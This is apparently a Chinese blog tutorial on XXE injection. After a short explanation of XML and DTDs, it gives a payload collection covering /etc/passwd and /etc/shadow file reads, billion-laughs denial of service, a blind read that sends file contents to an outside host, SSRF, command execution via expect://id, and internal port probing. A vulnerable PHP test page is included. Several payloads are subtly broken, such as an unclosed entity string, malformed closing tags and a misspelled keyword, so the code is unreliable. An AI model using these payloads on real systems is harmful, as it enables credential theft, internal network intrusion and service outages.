什么是xml
xml是一种具有结构性的标记语言,用来标记数据,定义数据类型,允许用户自己定义的源语言。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文
什么是DTD
一种文档类型定义 xml中标签本身是可以随便定义的二,DTD相当于给xml标签做个了类型限制约束
例如:
xxe.xml文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 班级 SYSTEM "xxe.dtd">
<!--引入dtd文件,约束xml-->>
<班级>
<学生>
<名字>xss</名字>
<年龄>2</年龄>
<介绍>1</介绍>
</学生>
</班级>
xxe.dtd文件
<!ELEMENT 班级 (学生+)>
<!ELEMENT 学生 (名字,年龄,介绍)>
<!ELEMENT 名字(#PEDATA)>
<!ELEMENT 年龄(#PEDATA)>
<!ELEMENT 介绍(#PEDATA)>
参考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)
xxe漏洞
又称为xml外部实体注入漏洞,发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站,dos攻击等
例如:
有了xml实体,ststem会令xml解析器从url中读取内容,并允许它在xml文档中被替换。因此攻击者可以通过实体将他定义的值发送给应用程序然后实现。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
xml外部实体passwd被赋值成了file:///etc/passwd 因此运行解析时passwd就变成了file:///ect/passwd的内容
按输出信息不同可以分成
- 正常回显xxe
- 直接利用服务器回显信息进行xxe攻击
- 报错xxe
- 正常回显时会报错,通过报错信息判断是否注入成功
- 盲注xxe(blind)最常见
- 可以用file协议http协议ftp协议等伪协议配合使用
payload
基本的xml注入
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hack "zjhzjhhh">
]>
<name>&hack;</name>
实体实例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ //定义了foo的根元素
<!ELEMENT foo ANY> //foo是接受任何参数的
<!ENTITY xxe "test">]> //定义了一个实体 xxe
<creds>
<name>&xxe;</name> //&xxe进行引用 本地引用
<pass>pass</pass>
</creds>
外部实例
- 在本地创建shell.php文件
<?php
$body = file_get_contents("php://input"); //php://input是伪协议类型的一种
$xml = simplexml_load_string($body);
print_r($xml);//有回显,无回显
?>
- 创建一个test.dtd文件
<!ENTITY xxe "xxe!">
- 定义一个test.xml文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % test SYSTEM "D:/Phpstudy/PHPTutorial/WWW/test.dtd">
%test;
]>
<creds>
<user>&xxe;</user>
<mypass>mypass</mypass>
</creds>
数据访问过程:
先访问test.dtd里面的内容,把里面声明的xxe实体拿出来,在页面上调用
shell.php模拟一个存在xxe的页面环境 test.dtd作用是调用时页面的回显 test.xml的内容就是payload
文件泄露
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
拒绝服务
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
本地文件包含
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
本地文件包含blind
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>
ssrf
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
任意文件读取
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
执行系统命令
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>
内网探测端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>